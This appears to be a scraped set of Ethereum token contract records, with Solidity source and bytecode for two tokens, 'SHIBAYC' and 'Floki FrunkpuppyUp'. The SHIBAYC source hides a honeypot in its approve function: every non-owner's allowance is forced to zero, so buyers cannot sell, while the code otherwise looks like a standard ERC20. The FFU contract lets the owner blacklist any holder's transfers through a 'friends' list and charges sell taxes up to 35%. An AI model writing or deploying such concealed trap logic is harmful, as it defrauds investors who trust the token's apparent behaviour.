using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'SHIBAYC ' ;
string private _symbol = 'SBAYC ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220412e44b8a414f2b2283845e20733fc7634813072a64f4acd6ce1fbbcd6e6012264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,296 |
0x49937cc32e731cc4d9b9cee31275df133eb990a5
|
/**
*Submitted for verification at Etherscan.io on 2021-10-04
*/
/**
*
tg: https://t.me/FlokiFrunkPuppyUp
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FFU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Floki FrunkpuppyUp";
string private constant _symbol = unicode" FFU ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280601281526020017f466c6f6b69204672756e6b707570707955700000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffff